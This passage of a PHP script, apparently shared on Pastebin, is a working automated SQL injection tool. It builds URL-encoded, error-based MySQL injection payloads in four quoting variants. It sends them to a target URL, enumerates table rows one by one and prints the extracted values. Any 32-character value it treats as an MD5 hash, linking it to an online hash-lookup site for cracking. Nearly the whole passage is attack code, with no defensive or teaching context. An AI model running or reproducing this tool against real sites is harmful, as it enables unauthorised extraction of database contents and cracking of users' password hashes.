  420. if($mode_eb==1){
  421.  @$datas = "$url+%27%20AND%20%28SELECT%207656%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20".GetBetween($databas,$start1,$end2).".$dz%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27MEpR%27%3D%27MEpR";
  422. }elseif($mode_eb==2){
  423.  @$datas = "$url+%27%29%20AND%20%28SELECT%207656%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20".GetBetween($databas,$start1,$end2).".$dz%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%28%27ffAM%27%3D%27ffAM";
  424. }elseif($mode_eb==3){
  425.  @$datas = "$url+%20AND%20%28SELECT%207656%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20".GetBetween($databas,$start1,$end2).".$dz%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29";
  426. }elseif($mode_eb==4){
  427. @$datas = "$url+%29%20AND%20%28SELECT%207656%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20".GetBetween($databas,$start1,$end2).".$dz%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%287609%3D7609";
  428. }
  429.  
  430.  
  431. @$dato = @file_get_contents("$datas");
  432.  
  433.  
  434.     $i = -1;
  435.    
  436.     echo "<table>";
  437.    
  438.     while ($i <= (GetBetween($dato)-1)):
  439.             if($mode_eb == 1){
  440.     @$_data = "%27%20AND%20%28SELECT%206968%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28$num3%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20".GetBetween($databas).".$dz%20LIMIT%20$i%2C1%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27MEpR%27%3D%27MEpR";
  441.     }elseif($mode_eb == 2){
  442.                  
  443.             @$_data = "%27%29%20AND%20%28SELECT%206968%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28$num3%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20".GetBetween($databas).".$dz%20LIMIT%20$i%2C1%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%28%27ffAM%27%3D%27ffAM";
  444.     }elseif($mode_eb == 3){
  445.             @$_data = "%20AND%20%28SELECT%206968%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28$num3%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20".GetBetween($databas).".$dz%20LIMIT%20$i%2C1%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29";
  446.     }elseif($mode_eb == 4){
  447.             @$_data = "%29%20AND%20%28SELECT%206968%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28$num3%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20".GetBetween($databas).".$dz%20LIMIT%20$i%2C1%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%287609%3D7609";
  448.     }
  449.        
  450.     $datas2 = "$url+$_data";
  451.     $data2 = file_get_contents("$datas2");
  452.     $num4 = GetBetween($data2);
  453.     if(strlen($num4) == 32){
  454.     echo "<tr><td>$num4</td><td><div OnClick=\"window.open('http://www.hashchecker.de/$num4')\" style=\"color: blue\">MD5</div></td></tr>";
  455.     }else{
  456.     echo "<tr><td>$num4</td><td>";
  457.     }
  458.     $i++;
  459.     endwhile;
  460.    
  461.  //}
  462.  
  463. echo "</table>";
  464. }
  465. }
  466. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!